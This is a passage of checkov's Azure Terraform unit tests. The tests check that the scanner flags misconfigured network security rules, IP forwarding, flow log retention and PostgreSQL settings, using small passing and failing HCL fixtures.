    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.NSGRuleHTTPAccessRestricted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNSGRuleSSHAccessRestricted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NSGRuleHTTPAccessRestricted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_network_security_group.dynamic_nsg_pass',\n            \"azurerm_network_security_rule.https\",\n            \"azurerm_network_security_rule.http_restricted_prefixes\",\n            \"azurerm_network_security_group.http_restricted\",\n        }\n        failing_resources = {\n            \"azurerm_network_security_rule.all\",\n            \"azurerm_network_security_rule.range\",\n            \"azurerm_network_security_rule.ranges_prefixes\",\n            \"azurerm_network_security_rule.http\",\n            \"azurerm_network_security_group.ranges\",\n            'azurerm_network_security_group.dynamic_nsg_fail',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NSGRuleRDPAccessRestricted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.NSGRuleRDPAccessRestricted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNSGRuleRDPAccessRestricted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NSGRuleRDPAccessRestricted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_network_security_rule.https\",\n            \"azurerm_network_security_rule.rdp_restricted_prefixes\",\n            \"azurerm_network_security_group.rdp_restricted\",\n            \"azurerm_network_security_group.snet_nsgs\"\n        }\n        failing_resources = {\n            \"azurerm_network_security_rule.all\",\n            \"azurerm_network_security_rule.range\",\n            \"azurerm_network_security_rule.ranges_prefixes\",\n            \"azurerm_network_security_rule.rdp\",\n            \"azurerm_network_security_group.ranges\",\n            \"azurerm_network_security_rule.ranges_prefixes_lower_case\",\n            \"azurerm_network_security_rule.range_prefix_lower_case\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 7)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NSGRuleSSHAccessRestricted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.NSGRuleSSHAccessRestricted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNSGRuleSSHAccessRestricted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NSGRuleSSHAccessRestricted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_network_security_rule.https\",\n            \"azurerm_network_security_rule.ssh_restricted_prefixes\",\n            \"azurerm_network_security_group.ssh_restricted\",\n        }\n        failing_resources = {\n            \"azurerm_network_security_rule.all\",\n            \"azurerm_network_security_rule.range\",\n            \"azurerm_network_security_rule.ranges_prefixes\",\n            \"azurerm_network_security_rule.ssh\",\n            \"azurerm_network_security_group.ranges\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 5)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NSGRuleUDPAccessRestricted.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.NSGRuleUDPAccessRestricted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNSGRuleUDPAccessRestricted(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NSGRuleUDPAccessRestricted\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_network_security_rule.pass\",\n            \"azurerm_network_security_rule.pass2\",\n            \"azurerm_network_security_rule.pass3\",\n            \"azurerm_network_security_group.pass\",\n            \"azurerm_network_security_group.pass2\",\n            \"azurerm_network_security_group.pass3\",\n        }\n        failing_resources = {\n            \"azurerm_network_security_rule.fail\",\n            \"azurerm_network_security_rule.fail2\",\n            \"azurerm_network_security_rule.fail3\",\n            \"azurerm_network_security_rule.fail4\",\n            \"azurerm_network_security_rule.fail5\",\n\n            \"azurerm_network_security_group.fail\",\n            \"azurerm_network_security_group.fail2\",\n            \"azurerm_network_security_group.fail3\",\n            \"azurerm_network_security_group.fail4\",\n            \"azurerm_network_security_group.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NetworkInterfaceEnableIPForwarding.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.NetworkInterfaceEnableIPForwarding import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestNetworkInterfaceEnableIPForwarding(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_network_interface\" \"example\" {\n                  name                = \"example-nic\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                \n                  ip_configuration {\n                    name                          = \"internal\"\n                    subnet_id                     = azurerm_subnet.example.id\n                    private_ip_address_allocation = \"Dynamic\"\n                  }        \n                  enable_ip_forwarding = true\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_network_interface\" \"example\" {\n                  name                = \"example-nic\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                \n                  ip_configuration {\n                    name                          = \"internal\"\n                    subnet_id                     = azurerm_subnet.example.id\n                    private_ip_address_allocation = \"Dynamic\"\n                  }\n                  enable_ip_forwarding = false\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_no_param(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_network_interface\" \"example\" {\n                  name                = \"example-nic\"\n                  location            = azurerm_resource_group.example.location\n                  resource_group_name = azurerm_resource_group.example.name\n                \n                  ip_configuration {\n                    name                          = \"internal\"\n                    subnet_id                     = azurerm_subnet.example.id\n                    private_ip_address_allocation = \"Dynamic\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_interface']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NetworkWatcherFlowLogPeriod.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.NetworkWatcherFlowLogPeriod import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestNetworkWatcherFlowLogPeriod(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            \n              retention_policy {\n                enabled = true\n                days    = 7\n              }\n              }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_no_retention_policy(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_invalid_days_string(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            \n              retention_policy {\n                enabled = true\n                days = var.watcher_flow_logs.days\n              }\n              }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            \n              retention_policy {\n                enabled = true\n                days    = 90\n              }\n              }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_with_0_days(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            \n              retention_policy {\n                enabled = true\n                days    = 0\n              }\n              }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_with_valid_day_string(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_network_watcher_flow_log\" \"test\" {\n              network_watcher_name = azurerm_network_watcher.test.name\n              resource_group_name  = azurerm_resource_group.test.name\n              network_security_group_id = azurerm_network_security_group.test.id\n              storage_account_id        = azurerm_storage_account.test.id\n              enabled                   = true\n            \n              retention_policy {\n                enabled = true\n                days    = \"100\"\n              }\n              }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_network_watcher_flow_log']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_OpenAICognitiveServicesRestrictedOutboundNetwork.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.OpenAICognitiveServicesRestrictOutboundNetwork import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestOpenAICognitiveServicesRestrictedOutboundNetwork(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_OpenAICognitiveServicesRestrictOutboundNetwork\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_cognitive_account.pass_openai\",\n            \"azurerm_cognitive_account.pass_non_openai\",\n            \"azurerm_cognitive_account.pass_openai_multiple_fqdns\",\n        }\n        failing_resources = {\n            \"azurerm_cognitive_account.fail_openai_missing_fqdns\",\n            \"azurerm_cognitive_account.fail_openai_missing_outbound_network_access\",\n            \"azurerm_cognitive_account.fail_openai_missing_fqdns_and_outbound_network_access\",\n            \"azurerm_cognitive_account.fail_openai_missing_fqdns_but_present_outbound_network_access\",\n            \"azurerm_cognitive_account.fail_openai_no_outbound_access_and_multiple_fqdns\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLEncryptionEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLEncryptionEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLEncryptionEnabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              infrastructure_encryption_enabled = false\n              auto_grow_enabled            = true\n              public_network_access_enabled    = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n              backup_retention_days        = 7\n              auto_grow_enabled            = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n              backup_retention_days        = 7\n              infrastructure_encryption_enabled = true\n              auto_grow_enabled            = true\n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLFlexiServerGeoBackupEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.PostgreSQLFlexiServerGeoBackupEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPostgreSQLFlexiServerGeoBackupEnabled(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PostgreSQLFlexiServerGeoBackupEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_postgresql_flexible_server.pass\",\n            \"azurerm_postgresql_flexible_server.replica\"\n        }\n        failing_resources = {\n            \"azurerm_postgresql_flexible_server.fail1\",\n            \"azurerm_postgresql_flexible_server.fail2\",\n\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.PostgreSQLMinTLSVersion import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPostgreSQLMinTLSVersion(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PostgreSQLMinTLSVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_postgresql_server.pass\",\n        }\n        failing_resources = {\n            \"azurerm_postgresql_server.fail\",\n            \"azurerm_postgresql_server.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerConnectionThrottlingEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerConnectionThrottlingEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLServerConnectionThrottlingEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"connection_throttling\"\n              resource_group_name = data.azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"off\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"backslash_quote\"\n              resource_group_name = azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"on\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerLogCheckpointEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerLogCheckpointsEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLServerLogCheckpointsEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"log_checkpoints\"\n              resource_group_name = data.azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"off\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"backslash_quote\"\n              resource_group_name = azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"on\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerLogConnectionsEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerLogConnectionsEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLServerLogConnectionsEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"log_connections\"\n              resource_group_name = data.azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"off\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_configuration\" \"example\" {\n              name                = \"backslash_quote\"\n              resource_group_name = azurerm_resource_group.example.name\n              server_name         = azurerm_postgresql_server.example.name\n              value               = \"on\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_configuration']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerLogRetentionEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerLogRetentionEnabled import check\n\n\nclass TestACRAdminAccountDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_PostgreSQLServerLogRetentionEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_postgresql_configuration.pass',\n        }\n        failing_resources = {\n            'azurerm_postgresql_configuration.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerPublicAccessDisabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerPublicAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLServerPublicAccessDisabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n\n              public_network_access_enabled    = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n\n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n\n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n\n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgreSQLServerSSLEnforcementEnabled.py",
